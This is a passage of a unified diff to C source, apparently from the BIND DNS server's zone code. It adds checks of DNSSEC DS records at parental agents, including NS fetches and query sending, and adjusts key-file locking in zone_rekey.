+		if (addr != NULL && isc_sockaddr_equal(addr, &checkds->dst) &&
+		    checkds->key == key && checkds->transport == transport)
+		{
+			return (true);
+		}
+	}
+	return (false);
+}
+
+static isc_result_t
+checkds_create(isc_mem_t *mctx, unsigned int flags, dns_checkds_t **checkdsp) {
+	dns_checkds_t *checkds;
+
+	REQUIRE(checkdsp != NULL && *checkdsp == NULL);
+
+	checkds = isc_mem_get(mctx, sizeof(*checkds));
+	*checkds = (dns_checkds_t){
+		.flags = flags,
+	};
+
+	isc_mem_attach(mctx, &checkds->mctx);
+	isc_sockaddr_any(&checkds->dst);
+	dns_name_init(&checkds->ns, NULL);
+	ISC_LINK_INIT(checkds, link);
+	checkds->magic = CHECKDS_MAGIC;
+	*checkdsp = checkds;
+	return (ISC_R_SUCCESS);
+}
+
+static void
+checkds_createmessage(dns_zone_t *zone, dns_message_t **messagep) {
+	dns_message_t *message = NULL;
+
+	dns_name_t *tempname = NULL;
+	dns_rdataset_t *temprdataset = NULL;
+
+	REQUIRE(DNS_ZONE_VALID(zone));
+	REQUIRE(messagep != NULL && *messagep == NULL);
+
+	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTRENDER, &message);
+
+	message->opcode = dns_opcode_query;
+	message->rdclass = zone->rdclass;
+	message->flags |= DNS_MESSAGEFLAG_RD;
+
+	dns_message_gettempname(message, &tempname);
+
+	dns_message_gettemprdataset(message, &temprdataset);
+
+	/*
+	 * Make question.
+	 */
+	dns_name_init(tempname, NULL);
+	dns_name_clone(&zone->origin, tempname);
+	dns_rdataset_makequestion(temprdataset, zone->rdclass,
+				  dns_rdatatype_ds);
+	ISC_LIST_APPEND(tempname->list, temprdataset, link);
+	dns_message_addname(message, tempname, DNS_SECTION_QUESTION);
+	tempname = NULL;
+	temprdataset = NULL;
+
+	*messagep = message;
+}
+
+/*
+ * XXXAG should check for DNS_ZONEFLG_EXITING
+ */
+static void
+process_checkds_adb_event(void *arg) {
+	dns_adbfind_t *find = (dns_adbfind_t *)arg;
+	dns_checkds_t *checkds = (dns_checkds_t *)find->cbarg;
+	dns_adbstatus_t astat = find->status;
+
+	REQUIRE(DNS_CHECKDS_VALID(checkds));
+	REQUIRE(find == checkds->find);
+
+	switch (astat) {
+	case DNS_ADB_MOREADDRESSES:
+		dns_adb_destroyfind(&checkds->find);
+		checkds_find_address(checkds);
+		return;
+
+	case DNS_ADB_NOMOREADDRESSES:
+		LOCK_ZONE(checkds->zone);
+		checkds_send_tons(checkds);
+		UNLOCK_ZONE(checkds->zone);
+		break;
+
+	default:
+		break;
+	}
+
+	checkds_destroy(checkds, false);
+}
+
+static void
+checkds_find_address(dns_checkds_t *checkds) {
+	isc_result_t result;
+	unsigned int options;
+	dns_adb_t *adb = NULL;
+
+	REQUIRE(DNS_CHECKDS_VALID(checkds));
+	options = DNS_ADBFIND_WANTEVENT | DNS_ADBFIND_INET | DNS_ADBFIND_INET6 |
+		  DNS_ADBFIND_RETURNLAME;
+
+	dns_view_getadb(checkds->zone->view, &adb);
+	if (adb == NULL) {
+		goto destroy;
+	}
+
+	result = dns_adb_createfind(
+		adb, checkds->zone->loop, process_checkds_adb_event, checkds,
+		&checkds->ns, dns_rootname, 0, options, 0, NULL,
+		checkds->zone->view->dstport, 0, NULL, &checkds->find);
+	dns_adb_detach(&adb);
+
+	/* Something failed? */
+	if (result != ISC_R_SUCCESS) {
+		goto destroy;
+	}
+
+	/* More addresses pending? */
+	if ((checkds->find->options & DNS_ADBFIND_WANTEVENT) != 0) {
+		return;
+	}
+
+	/* We have as many addresses as we can get. */
+	LOCK_ZONE(checkds->zone);
+	checkds_send_tons(checkds);
+	UNLOCK_ZONE(checkds->zone);
+
+destroy:
+	checkds_destroy(checkds, false);
+}
+
+static void
+checkds_send_toaddr(void *arg) {
+	dns_checkds_t *checkds = (dns_checkds_t *)arg;
+	isc_result_t result;
+	dns_message_t *message = NULL;
+	isc_netaddr_t dstip;
+	dns_tsigkey_t *key = NULL;
+	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
+	isc_sockaddr_t src;
+	unsigned int options, timeout;
+	bool have_checkdssource = false;
+	bool canceled = checkds->rlevent->canceled;
+
+	REQUIRE(DNS_CHECKDS_VALID(checkds));
+
+	isc_rlevent_free(&checkds->rlevent);
+
+	LOCK_ZONE(checkds->zone);
+
+	if (DNS_ZONE_FLAG(checkds->zone, DNS_ZONEFLG_LOADED) == 0 || canceled ||
+	    DNS_ZONE_FLAG(checkds->zone, DNS_ZONEFLG_EXITING) ||
+	    checkds->zone->view->requestmgr == NULL ||
+	    checkds->zone->db == NULL)
+	{
+		result = ISC_R_CANCELED;
+		goto cleanup;
+	}
+
+	/*
+	 * The raw IPv4 address should also exist.  Don't send to the
+	 * mapped form.
+	 */
+	if (isc_sockaddr_pf(&checkds->dst) == PF_INET6 &&
+	    IN6_IS_ADDR_V4MAPPED(&checkds->dst.type.sin6.sin6_addr))
+	{
+		isc_sockaddr_format(&checkds->dst, addrbuf, sizeof(addrbuf));
+		dns_zone_log(checkds->zone, ISC_LOG_DEBUG(3),
+			     "checkds: ignoring IPv6 mapped IPV4 address: %s",
+			     addrbuf);
+		result = ISC_R_CANCELED;
+		goto cleanup;
+	}
+
+	checkds_createmessage(checkds->zone, &message);
+
+	isc_sockaddr_format(&checkds->dst, addrbuf, sizeof(addrbuf));
+	if (checkds->key != NULL) {
+		/* Transfer ownership of key */
+		key = checkds->key;
+		checkds->key = NULL;
+	} else {
+		isc_netaddr_fromsockaddr(&dstip, &checkds->dst);
+		result = dns_view_getpeertsig(checkds->zone->view, &dstip,
+					      &key);
+		if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
+			dns_zone_log(checkds->zone, ISC_LOG_ERROR,
+				     "checkds: DS query to %s not sent. "
+				     "Peer TSIG key lookup failure.",
+				     addrbuf);
+			goto cleanup_message;
+		}
+	}
+
+	if (key != NULL) {
+		char namebuf[DNS_NAME_FORMATSIZE];
+
+		dns_name_format(key->name, namebuf, sizeof(namebuf));
+		dns_zone_log(checkds->zone, ISC_LOG_DEBUG(3),
+			     "checkds: sending DS query to %s : TSIG (%s)",
+			     addrbuf, namebuf);
+	} else {
+		dns_zone_log(checkds->zone, ISC_LOG_DEBUG(3),
+			     "checkds: sending DS query to %s", addrbuf);
+	}
+	options = 0;
+	if (checkds->zone->view->peers != NULL) {
+		dns_peer_t *peer = NULL;
+		bool usetcp = false;
+		result = dns_peerlist_peerbyaddr(checkds->zone->view->peers,
+						 &dstip, &peer);
+		if (result == ISC_R_SUCCESS) {
+			result = dns_peer_getquerysource(peer, &src);
+			if (result == ISC_R_SUCCESS) {
+				have_checkdssource = true;
+			}
+			result = dns_peer_getforcetcp(peer, &usetcp);
+			if (result == ISC_R_SUCCESS && usetcp) {
+				options |= DNS_FETCHOPT_TCP;
+			}
+		}
+	}
+	switch (isc_sockaddr_pf(&checkds->dst)) {
+	case PF_INET:
+		if (!have_checkdssource) {
+			isc_sockaddr_t any;
+			isc_sockaddr_any(&any);
+
+			src = checkds->src;
+			if (isc_sockaddr_equal(&src, &any)) {
+				src = checkds->zone->parentalsrc4;
+			}
+		}
+		break;
+	case PF_INET6:
+		if (!have_checkdssource) {
+			isc_sockaddr_t any;
+			isc_sockaddr_any6(&any);
+
+			src = checkds->src;
+			if (isc_sockaddr_equal(&src, &any)) {
+				src = checkds->zone->parentalsrc6;
+			}
+		}
+		break;
+	default:
+		result = ISC_R_NOTIMPLEMENTED;
+		goto cleanup_key;
+	}
+
+	dns_zone_log(checkds->zone, ISC_LOG_DEBUG(3),
+		     "checkds: create request for DS query to %s", addrbuf);
+
+	timeout = 15;
+	options |= DNS_REQUESTOPT_TCP;
+	result = dns_request_create(
+		checkds->zone->view->requestmgr, message, &src, &checkds->dst,
+		NULL, NULL, options, key, timeout * 3, timeout, 2,
+		checkds->zone->loop, checkds_done, checkds, &checkds->request);
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_log(checkds->zone, ISC_LOG_DEBUG(3),
+			     "checkds: dns_request_create() to %s failed: %s",
+			     addrbuf, isc_result_totext(result));
+	}
+
+cleanup_key:
+	if (key != NULL) {
+		dns_tsigkey_detach(&key);
+	}
+cleanup_message:
+	dns_message_detach(&message);
+cleanup:
+	UNLOCK_ZONE(checkds->zone);
+	if (result != ISC_R_SUCCESS) {
+		checkds_destroy(checkds, false);
+	}
+}
+
+static void
+checkds_send_tons(dns_checkds_t *checkds) {
+	dns_adbaddrinfo_t *ai;
+	isc_sockaddr_t dst;
+	isc_result_t result;
+	dns_checkds_t *newcheckds = NULL;
+	dns_zone_t *zone = NULL;
+
+	/*
+	 * Zone lock held by caller.
+	 */
+	REQUIRE(DNS_CHECKDS_VALID(checkds));
+	REQUIRE(LOCKED_ZONE(checkds->zone));
+
+	zone = checkds->zone;
+
+	if (DNS_ZONE_FLAG(checkds->zone, DNS_ZONEFLG_EXITING)) {
+		return;
+	}
+
+	for (ai = ISC_LIST_HEAD(checkds->find->list); ai != NULL;
+	     ai = ISC_LIST_NEXT(ai, publink))
+	{
+		dst = ai->sockaddr;
+		if (checkds_isqueued(zone, NULL, &dst, NULL, NULL)) {
+			continue;
+		}
+
+		newcheckds = NULL;
+		result = checkds_create(checkds->mctx, 0, &newcheckds);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
+		}
+		zone_iattach(zone, &newcheckds->zone);
+		ISC_LIST_APPEND(newcheckds->zone->checkds_requests, newcheckds,
+				link);
+		newcheckds->dst = dst;
+		dns_name_dup(&checkds->ns, checkds->mctx, &newcheckds->ns);
+		switch (isc_sockaddr_pf(&newcheckds->dst)) {
+		case PF_INET:
+			isc_sockaddr_any(&newcheckds->src);
+			break;
+		case PF_INET6:
+			isc_sockaddr_any6(&newcheckds->src);
+			break;
+		default:
+			UNREACHABLE();
+		}
+		/*
+		 * XXXWMM: Should we attach key and transport here?
+		 * Probably not, because we expect the name servers to be
+		 * publicly available on the default transport protocol.
+		 */
+
+		result = isc_ratelimiter_enqueue(
+			newcheckds->zone->zmgr->checkdsrl,
+			newcheckds->zone->loop, checkds_send_toaddr, newcheckds,
+			&newcheckds->rlevent);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
+		}
+		newcheckds = NULL;
+	}
+
+cleanup:
+	if (newcheckds != NULL) {
+		checkds_destroy(newcheckds, true);
+	}
+}
+
+static void
+checkds_send(dns_zone_t *zone) {
+	dns_view_t *view = dns_zone_getview(zone);
+	isc_result_t result;
+	unsigned int flags = 0;
+	unsigned int i = 0;
+
+	/*
+	 * Zone lock held by caller.
+	 */
+	REQUIRE(LOCKED_ZONE(zone));
+
+	dns_zone_log(zone, ISC_LOG_DEBUG(3),
+		     "checkds: start sending DS queries to %u parentals",
+		     dns_remote_count(&zone->parentals));
+
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		dns_zone_log(zone, ISC_LOG_DEBUG(3),
+			     "checkds: abort, named exiting");
+		return;
+	}
+
+	dns_remote_reset(&zone->parentals, false);
+	while (!dns_remote_done(&zone->parentals)) {
+		dns_tsigkey_t *key = NULL;
+		dns_transport_t *transport = NULL;
+		isc_sockaddr_t src, dst;
+		dns_checkds_t *checkds = NULL;
+
+		i++;
+
+		if (dns_remote_keyname(&zone->parentals) != NULL) {
+			dns_name_t *keyname =
+				dns_remote_keyname(&zone->parentals);
+			(void)dns_view_gettsig(view, keyname, &key);
+		}
+
+		if (dns_remote_tlsname(&zone->parentals) != NULL) {
+			dns_name_t *tlsname =
+				dns_remote_tlsname(&zone->parentals);
+			(void)dns_view_gettransport(view, DNS_TRANSPORT_TLS,
+						    tlsname, &transport);
+			dns_zone_logc(
+				zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_INFO,
+				"got TLS configuration for zone transfer");
+		}
+
+		dst = dns_remote_curraddr(&zone->parentals);
+		src = dns_remote_sourceaddr(&zone->parentals);
+		INSIST(isc_sockaddr_pf(&src) == isc_sockaddr_pf(&dst));
+
+		/* TODO: glue the transport to the checkds request */
+
+		if (checkds_isqueued(zone, NULL, &dst, key, transport)) {
+			dns_zone_log(zone, ISC_LOG_DEBUG(3),
+				     "checkds: DS query to parent "
+				     "%d is queued",
+				     i);
+			if (key != NULL) {
+				dns_tsigkey_detach(&key);
+			}
+			if (transport != NULL) {
+				dns_transport_detach(&transport);
+			}
+			goto next;
+		}
+
+		dns_zone_log(zone, ISC_LOG_DEBUG(3),
+			     "checkds: create DS query for "
+			     "parent %d",
+			     i);
+
+		result = checkds_create(zone->mctx, flags, &checkds);
+		if (result != ISC_R_SUCCESS) {
+			dns_zone_log(zone, ISC_LOG_DEBUG(3),
+				     "checkds: create DS query for "
+				     "parent %d failed",
+				     i);
+			goto next;
+		}
+		zone_iattach(zone, &checkds->zone);
+		dns_name_dup(dns_rootname, checkds->mctx, &checkds->ns);
+		checkds->src = src;
+		checkds->dst = dst;
+
+		INSIST(checkds->key == NULL);
+		if (key != NULL) {
+			checkds->key = key;
+			key = NULL;
+		}
+
+		INSIST(checkds->transport == NULL);
+		if (transport != NULL) {
+			checkds->transport = transport;
+			transport = NULL;
+		}
+
+		ISC_LIST_APPEND(zone->checkds_requests, checkds, link);
+		result = isc_ratelimiter_enqueue(
+			checkds->zone->zmgr->checkdsrl, checkds->zone->loop,
+			checkds_send_toaddr, checkds, &checkds->rlevent);
+		if (result != ISC_R_SUCCESS) {
+			dns_zone_log(zone, ISC_LOG_DEBUG(3),
+				     "checkds: send DS query to "
+				     "parent %d failed",
+				     i);
+			checkds_destroy(checkds, true);
+		}
+
+	next:
+		dns_remote_next(&zone->parentals, false);
+	}
+}
+
+/*
+ * An NS RRset has been fetched from the parent of a zone whose DS RRset needs
+ * to be checked; scan the RRset and start sending queries to the parental
+ * agents.
+ */
+static void
+nsfetch_done(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	isc_result_t result, eresult;
+	dns_nsfetch_t *nsfetch = NULL;
+	dns_zone_t *zone = NULL;
+	isc_mem_t *mctx = NULL;
+	dns_name_t *zname = NULL;
+	dns_name_t *pname = NULL;
+	char pnamebuf[DNS_NAME_FORMATSIZE];
+	bool free_needed, levelup = false;
+	dns_rdataset_t *nsrrset = NULL;
+	dns_rdataset_t *nssigset = NULL;
+
+	INSIST(resp != NULL && resp->type == FETCHDONE);
+
+	nsfetch = resp->arg;
+
+	INSIST(nsfetch != NULL);
+
+	zone = nsfetch->zone;
+	mctx = nsfetch->mctx;
+	zname = dns_fixedname_name(&nsfetch->name);
+	pname = &nsfetch->pname;
+	nsrrset = &nsfetch->nsrrset;
+	nssigset = &nsfetch->nssigset;
+	eresult = resp->result;
+
+	/* Free resources which are not of interest */
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
+	}
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
+	}
+	dns_resolver_destroyfetch(&nsfetch->fetch);
+
+	LOCK_ZONE(zone);
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING) || zone->view == NULL) {
+		goto cleanup;
+	}
+
+	zone->nsfetchcount--;
+
+	dns_name_format(pname, pnamebuf, sizeof(pnamebuf));
+	dnssec_log(zone, ISC_LOG_DEBUG(3),
+		   "Returned from '%s' NS fetch in nsfetch_done(): %s",
+		   pnamebuf, isc_result_totext(eresult));
+
+	if (eresult == DNS_R_NCACHENXRRSET || eresult == DNS_R_NXRRSET) {
+		dnssec_log(zone, ISC_LOG_DEBUG(3),
+			   "NODATA response for NS '%s', level up", pnamebuf);
+		levelup = true;
+		goto cleanup;
+
+	} else if (eresult != ISC_R_SUCCESS) {
+		dnssec_log(zone, ISC_LOG_WARNING,
+			   "Unable to fetch NS set '%s': %s", pnamebuf,
+			   isc_result_totext(eresult));
+		result = eresult;
+		goto done;
+	}
+
+	/* No NS records found */
+	if (!dns_rdataset_isassociated(nsrrset)) {
+		dnssec_log(zone, ISC_LOG_WARNING,
+			   "No NS records found for '%s'", pnamebuf);
+		result = ISC_R_NOTFOUND;
+		goto done;
+	}
+
+	/* No RRSIGs found */
+	if (!dns_rdataset_isassociated(nssigset)) {
+		dnssec_log(zone, ISC_LOG_WARNING, "No NS RRSIGs found for '%s'",
+			   pnamebuf);
+		result = DNS_R_MUSTBESECURE;
+		goto done;
+	}
+
+	/* Check trust level */
+	if (nsrrset->trust < dns_trust_secure) {
+		dnssec_log(zone, ISC_LOG_WARNING,
+			   "Invalid NS RRset for '%s' trust level %u", pnamebuf,
+			   nsrrset->trust);
+		result = DNS_R_MUSTBESECURE;
+		goto done;
+	}
+
+	/* Record the number of NS records we found. */
+	zone->parent_nscount = dns_rdataset_count(nsrrset);
+
+	UNLOCK_ZONE(zone);
+
+	/* Look up the addresses for the found parental name servers. */
+	for (result = dns_rdataset_first(nsrrset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(nsrrset))
+	{
+		dns_checkds_t *checkds = NULL;
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_rdata_ns_t ns;
+		bool isqueued;
+
+		dns_rdataset_current(nsrrset, &rdata);
+		result = dns_rdata_tostruct(&rdata, &ns, NULL);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+		dns_rdata_reset(&rdata);
+
+		LOCK_ZONE(zone);
+		isqueued = checkds_isqueued(zone, &ns.name, NULL, NULL, NULL);
+		UNLOCK_ZONE(zone);
+		if (isqueued) {
+			continue;
+		}
+		result = checkds_create(zone->mctx, 0, &checkds);
+		if (result != ISC_R_SUCCESS) {
+			dns_zone_log(zone, ISC_LOG_DEBUG(3),
+				     "checkds: checkds_create() failed: %s",
+				     isc_result_totext(result));
+			break;
+		}
+
+		if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+			char nsnamebuf[DNS_NAME_FORMATSIZE];
+			dns_name_format(&ns.name, nsnamebuf, sizeof(nsnamebuf));
+			dns_zone_log(zone, ISC_LOG_DEBUG(3),
+				     "checkds: send DS query to NS %s",
+				     nsnamebuf);
+		}
+
+		LOCK_ZONE(zone);
+		zone_iattach(zone, &checkds->zone);
+		dns_name_dup(&ns.name, zone->mctx, &checkds->ns);
+		ISC_LIST_APPEND(zone->checkds_requests, checkds, link);
+		UNLOCK_ZONE(zone);
+
+		checkds_find_address(checkds);
+	}
+	if (result == ISC_R_NOMORE) {
+		result = ISC_R_SUCCESS;
+	}
+
+	LOCK_ZONE(zone);
+
+done:
+	if (result != ISC_R_SUCCESS) {
+		dnssec_log(
+			zone, ISC_LOG_ERROR,
+			"checkds: error during parental-agents processing: %s",
+			isc_result_totext(result));
+	}
+
+cleanup:
+	isc_refcount_decrement(&zone->irefs);
+
+	if (dns_rdataset_isassociated(nsrrset)) {
+		dns_rdataset_disassociate(nsrrset);
+	}
+	if (dns_rdataset_isassociated(nssigset)) {
+		dns_rdataset_disassociate(nssigset);
+	}
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
+
+	if (levelup) {
+		UNLOCK_ZONE(zone);
+		nsfetch_levelup(nsfetch);
+		return;
+	}
+
+	dns_name_free(zname, mctx);
+	isc_mem_putanddetach(&nsfetch->mctx, nsfetch, sizeof(dns_nsfetch_t));
+
+	free_needed = exit_check(zone);
+	UNLOCK_ZONE(zone);
+
+	if (free_needed) {
+		zone_free(zone);
+	}
+}
+
+static void
+do_nsfetch(void *arg) {
+	dns_nsfetch_t *nsfetch = (dns_nsfetch_t *)arg;
+	isc_result_t result;
+	unsigned int nlabels = 1;
+	dns_resolver_t *resolver = NULL;
+	dns_zone_t *zone = nsfetch->zone;
+	unsigned int options = DNS_FETCHOPT_UNSHARED | DNS_FETCHOPT_NOCACHED;
+
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		return;
+	}
+
+	result = dns_view_getresolver(zone->view, &resolver);
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+
+	if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+		char namebuf[DNS_NAME_FORMATSIZE];
+		dns_name_format(&nsfetch->pname, namebuf, sizeof(namebuf));
+		dnssec_log(zone, ISC_LOG_WARNING,
+			   "Create fetch for '%s' NS request", namebuf);
+	}
+
+	/* Derive parent domain. XXXWMM: Check for root domain */
+	dns_name_split(&nsfetch->pname,
+		       dns_name_countlabels(&nsfetch->pname) - nlabels, NULL,
+		       &nsfetch->pname);
+
+	/*
+	 * Use of DNS_FETCHOPT_NOCACHED is essential here.  If it is not
+	 * set and the cache still holds a non-expired, validated version
+	 * of the RRset being queried for by the time the response is
+	 * received, the cached RRset will be passed to nsfetch_done()
+	 * instead of the one received in the response as the latter will
+	 * have a lower trust level due to not being validated until
+	 * nsfetch_done() is called.
+	 */
+	result = dns_resolver_createfetch(
+		resolver, &nsfetch->pname, dns_rdatatype_ns, NULL, NULL, NULL,
+		NULL, 0, options, 0, NULL, zone->loop, nsfetch_done, nsfetch,
+		&nsfetch->nsrrset, &nsfetch->nssigset, &nsfetch->fetch);
+
+	dns_resolver_detach(&resolver);
+
+	if (result != ISC_R_SUCCESS) {
+		dns_name_t *zname = dns_fixedname_name(&nsfetch->name);
+		bool free_needed;
+		char namebuf[DNS_NAME_FORMATSIZE];
+		dns_name_format(&nsfetch->pname, namebuf, sizeof(namebuf));
+		dnssec_log(zone, ISC_LOG_WARNING,
+			   "Failed to create fetch for '%s' NS request",
+			   namebuf);
+		LOCK_ZONE(zone);
+		zone->nsfetchcount--;
+		isc_refcount_decrement(&zone->irefs);
+
+		dns_name_free(zname, zone->mctx);
+		isc_mem_putanddetach(&nsfetch->mctx, nsfetch, sizeof(*nsfetch));
+
+		free_needed = exit_check(zone);
+		UNLOCK_ZONE(zone);
+		if (free_needed) {
+			zone_free(zone);
+		}
+	}
+}
+
+/*
+ * Retry an NS RRset lookup, one level up. In other words, this function should
+ * be called on an dns_nsfetch structure where the response yielded in a NODATA
+ * response. This must be because there is an empty non-terminal inbetween the
+ * child and parent zone.
  */
-static bool
-signed_with_alg(dns_rdataset_t *rdataset, dns_secalg_t alg) {
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	dns_rdata_rrsig_t rrsig;
-	isc_result_t result;
+static void
+nsfetch_levelup(dns_nsfetch_t *nsfetch) {
+	dns_zone_t *zone = nsfetch->zone;
 
-	REQUIRE(rdataset == NULL || rdataset->type == dns_rdatatype_rrsig);
-	if (rdataset == NULL || !dns_rdataset_isassociated(rdataset)) {
-		return (false);
+#ifdef ENABLE_AFL
+	if (!dns_fuzzing_resolver) {
+#endif /* ifdef ENABLE_AFL */
+		LOCK_ZONE(zone);
+		zone->nsfetchcount++;
+		isc_refcount_increment0(&zone->irefs);
+
+		dns_rdataset_init(&nsfetch->nsrrset);
+		dns_rdataset_init(&nsfetch->nssigset);
+		if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+			dnssec_log(zone, ISC_LOG_DEBUG(3),
+				   "Creating parent NS fetch in "
+				   "nsfetch_levelup()");
+		}
+		isc_async_run(zone->loop, do_nsfetch, nsfetch);
+		UNLOCK_ZONE(zone);
+#ifdef ENABLE_AFL
 	}
+#endif /* ifdef ENABLE_AFL */
+}
 
-	for (result = dns_rdataset_first(rdataset); result == ISC_R_SUCCESS;
-	     result = dns_rdataset_next(rdataset))
+static void
+zone_checkds(dns_zone_t *zone) {
+	bool cdscheck = false;
+	dns_checkdstype_t checkdstype = zone->checkdstype;
+
+	if (checkdstype == dns_checkdstype_no) {
+		return;
+	}
+
+	for (dns_dnsseckey_t *key = ISC_LIST_HEAD(zone->checkds_ok);
+	     key != NULL; key = ISC_LIST_NEXT(key, link))
 	{
-		dns_rdataset_current(rdataset, &rdata);
-		result = dns_rdata_tostruct(&rdata, &rrsig, NULL);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		dns_rdata_reset(&rdata);
-		if (rrsig.algorithm == alg) {
-			return (true);
+		dst_key_state_t ds_state = DST_KEY_STATE_NA;
+		bool ksk = false;
+		isc_stdtime_t published = 0, withdrawn = 0;
+
+		/* Is this key have the KSK role? */
+		(void)dst_key_role(key->key, &ksk, NULL);
+		if (!ksk) {
+			continue;
 		}
-	}
 
-	return (false);
-}
+		/* Do we need to check the DS RRset? */
+		(void)dst_key_getstate(key->key, DST_KEY_DS, &ds_state);
+		(void)dst_key_gettime(key->key, DST_TIME_DSPUBLISH, &published);
+		(void)dst_key_gettime(key->key, DST_TIME_DSDELETE, &withdrawn);
 
-static isc_result_t
-add_chains(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
-	   dns_diff_t *diff) {
-	dns_name_t *origin;
-	bool build_nsec3;
-	isc_result_t result;
+		if (ds_state == DST_KEY_STATE_RUMOURED && published == 0) {
+			dst_key_setnum(key->key, DST_NUM_DSPUBCOUNT, 0);
+			cdscheck = true;
+		} else if (ds_state == DST_KEY_STATE_UNRETENTIVE &&
+			   withdrawn == 0)
+		{
+			dst_key_setnum(key->key, DST_NUM_DSDELCOUNT, 0);
+			cdscheck = true;
+		}
+	}
 
-	origin = dns_db_origin(db);
-	CHECK(dns_private_chains(db, ver, zone->privatetype, NULL,
-				 &build_nsec3));
-	if (build_nsec3) {
-		CHECK(dns_nsec3_addnsec3sx(db, ver, origin, zone_nsecttl(zone),
-					   false, zone->privatetype, diff));
+	if (!cdscheck) {
+		return;
 	}
-	CHECK(updatesecure(db, ver, origin, zone_nsecttl(zone), true, diff));
 
-failure:
-	return (result);
-}
+	if (checkdstype == dns_checkdstype_explicit) {
+		/* Request the DS RRset. */
+		LOCK_ZONE(zone);
+		checkds_send(zone);
+		UNLOCK_ZONE(zone);
+		return;
+	}
 
-static void
-dnssec_report(const char *format, ...) {
-	va_list args;
-	va_start(args, format);
-	isc_log_vwrite(dns_lctx, DNS_LOGCATEGORY_DNSSEC, DNS_LOGMODULE_ZONE,
-		       ISC_LOG_INFO, format, args);
-	va_end(args);
+	INSIST(checkdstype == dns_checkdstype_yes);
+
+#ifdef ENABLE_AFL
+	if (!dns_fuzzing_resolver) {
+#endif /* ifdef ENABLE_AFL */
+		dns_nsfetch_t *nsfetch;
+		dns_name_t *name = NULL;
+
+		nsfetch = isc_mem_get(zone->mctx, sizeof(dns_nsfetch_t));
+		*nsfetch = (dns_nsfetch_t){ .zone = zone };
+		isc_mem_attach(zone->mctx, &nsfetch->mctx);
+		LOCK_ZONE(zone);
+		zone->nsfetchcount++;
+		isc_refcount_increment0(&zone->irefs);
+		name = dns_fixedname_initname(&nsfetch->name);
+		dns_name_init(&nsfetch->pname, NULL);
+		dns_name_clone(&zone->origin, &nsfetch->pname);
+		dns_name_dup(&zone->origin, zone->mctx, name);
+		dns_rdataset_init(&nsfetch->nsrrset);
+		dns_rdataset_init(&nsfetch->nssigset);
+		if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+			dnssec_log(
+				zone, ISC_LOG_DEBUG(3),
+				"Creating parent NS fetch in zone_checkds()");
+		}
+		isc_async_run(zone->loop, do_nsfetch, nsfetch);
+		UNLOCK_ZONE(zone);
+#ifdef ENABLE_AFL
+	}
+#endif /* ifdef ENABLE_AFL */
 }
 
 static void
@@ -20077,10 +21078,10 @@ zone_rekey(dns_zone_t *zone) {
 	CHECK(dns_db_newversion(db, &ver));
 	CHECK(dns_db_getoriginnode(db, &node));
 
-	TIME_NOW(&timenow);
+	timenow = isc_time_now();
 	now = isc_time_seconds(&timenow);
 
-	kasp = dns_zone_getkasp(zone);
+	kasp = zone->kasp;
 
 	dnssec_log(zone, ISC_LOG_INFO, "reconfiguring zone keys");
 
@@ -20132,10 +21133,12 @@ zone_rekey(dns_zone_t *zone) {
 	fullsign = DNS_ZONEKEY_OPTION(zone, DNS_ZONEKEY_FULLSIGN);
 
 	KASP_LOCK(kasp);
-	dns_zone_lock_keyfiles(zone);
 
+	dns_zone_lock_keyfiles(zone);
 	result = dns_dnssec_findmatchingkeys(&zone->origin, dir, now, mctx,
 					     &keys);
+	dns_zone_unlock_keyfiles(zone);
+
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_DEBUG(1),
 			   "zone_rekey:dns_dnssec_findmatchingkeys failed: %s",
@@ -20143,36 +21146,120 @@ zone_rekey(dns_zone_t *zone) {
 	}
 
 	if (kasp != NULL) {
+		/*
+		 * Check DS at parental agents. Clear ongoing checks.
+		 */
+		LOCK_ZONE(zone);
+		checkds_cancel(zone);
+		clear_keylist(&zone->checkds_ok, zone->mctx);
+		ISC_LIST_INIT(zone->checkds_ok);
+		UNLOCK_ZONE(zone);
+
+		result = dns_zone_getdnsseckeys(zone, db, ver, now,
+						&zone->checkds_ok);
+
+		if (result == ISC_R_SUCCESS) {
+			zone_checkds(zone);
+		} else {
+			dnssec_log(zone,
+				   (result == ISC_R_NOTFOUND) ? ISC_LOG_DEBUG(1)
+							      : ISC_LOG_ERROR,
+				   "zone_rekey:dns_zone_getdnsseckeys failed: "
+				   "%s",
+				   isc_result_totext(result));
+		}
+
 		if (result == ISC_R_SUCCESS || result == ISC_R_NOTFOUND) {
+			dns_zone_lock_keyfiles(zone);
 			result = dns_keymgr_run(&zone->origin, zone->rdclass,
 						dir, mctx, &keys, &dnskeys,
 						kasp, now, &nexttime);
+			dns_zone_unlock_keyfiles(zone);
+
 			if (result != ISC_R_SUCCESS) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_rekey:dns_dnssec_keymgr "
 					   "failed: %s",
 					   isc_result_totext(result));
-				dns_zone_unlock_keyfiles(zone);
 				KASP_UNLOCK(kasp);
 				goto failure;
 			}
 		}
 	}
 
-	dns_zone_unlock_keyfiles(zone);
 	KASP_UNLOCK(kasp);
 
